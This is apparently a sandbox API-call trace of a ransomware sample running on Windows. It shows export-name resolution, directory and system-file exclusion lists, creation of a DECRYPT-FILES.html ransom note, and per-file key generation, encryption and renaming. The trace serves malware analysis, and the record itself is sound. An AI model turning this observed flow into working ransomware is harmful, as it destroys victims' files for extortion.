[0139.944] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0139.944] lstrlenA (lpString="CREATEPIPE") returned 10 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0139.944] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0139.944] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0139.944] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0139.944] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0139.944] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0139.944] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0139.944] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0139.944] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0139.944] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0139.944] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0139.944] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0139.944] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0139.944] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0139.944] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0139.945] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0139.945] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0139.945] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0139.945] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0139.945] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0139.945] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0139.945] lstrlenA (lpString="CREATETHREAD") returned 12 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0139.945] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0139.945] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0139.945] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0139.945] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0139.945] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0139.945] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0139.945] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0139.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0139.946] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.hVXz") returned 50 [0139.946] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.hVXz" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.hvxz"), dwFlags=0x0) returned 1 [0139.946] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.947] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.947] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.947] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.947] FindClose (in: hFindFile=0x3b81380 | out: hFindFile=0x3b81380) returned 1 [0139.947] CloseHandle (hObject=0x528) returned 1 [0139.948] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0139.948] lstrcmpW (lpString1="3076", lpString2=".") returned 1 [0139.948] lstrcmpW (lpString1="3076", lpString2="..") returned 1 [0139.948] lstrcatW (in: lpString1="3076", lpString2="\\" | out: lpString1="3076\\") returned="3076\\" [0139.948] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="3076\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch=":\\Windows") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\Program Files") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\Games\\") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\Tor Browser\\") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\ProgramData\\") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0139.948] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3076\\", lpSrch="\\All Users") returned 0x0 [0139.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0139.948] lstrlenW (lpString="eogwkz.dat") returned 10 [0139.948] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\\\eogwkz.dat") returned 38 [0139.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\3076\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0139.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0139.948] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0139.948] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\\\DECRYPT-FILES.html") returned 46 [0139.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\3076\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0139.950] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0139.950] CloseHandle (hObject=0x470) returned 1 [0139.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0139.951] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\3076\\*") returned="C:\\588bce7c90097ed212\\3076\\*" [0139.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x59aa6b5e, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b810c0 [0139.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0139.951] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x59aa6b5e, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0139.951] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0139.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0139.951] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59aa6b5e, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x59aa6b5e, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x59aa6b5e, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0139.951] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0139.951] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59aa6b5e, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x59aa6b5e, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x59aa6b5e, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0139.951] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0139.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0139.951] lstrlenW (lpString="eogwkz.dat") returned 10 [0139.951] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3076\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0139.951] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\3076\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\3076\\eogwkz.dat" [0139.951] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\3076\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.952] CloseHandle (hObject=0x0) returned 0 [0139.952] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.952] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0139.952] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0139.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0139.952] lstrlenW (lpString="eula.rtf") returned 8 [0139.952] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3076\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0139.952] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf" [0139.952] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0139.953] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=6309) returned 1 [0139.953] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0139.953] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0140.147] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0140.147] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0140.147] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.147] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0140.147] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0140.148] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.148] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0140.148] CloseHandle (hObject=0x5f8) returned 1 [0140.148] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.148] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0140.149] CloseHandle (hObject=0x0) returned 0 [0140.149] CloseHandle (hObject=0x5f4) returned 1 [0140.150] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.150] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.151] GetTickCount () returned 0x3859c [0140.151] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.151] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0140.151] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0140.151] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.152] lstrlenA (lpString="kernel32.dll") returned 12 [0140.152] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0140.152] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0140.152] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0140.152] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0140.152] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0140.152] lstrlenA (lpString="ADDATOMA") returned 8 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0140.152] lstrlenA (lpString="ADDATOMW") returned 8 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0140.152] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0140.152] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0140.152] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0140.152] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0140.153] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0140.153] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0140.153] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0140.153] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0140.153] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0140.153] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0140.153] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0140.153] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0140.153] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0140.153] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0140.153] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0140.153] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0140.153] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0140.153] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0140.153] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0140.153] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0140.154] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0140.154] 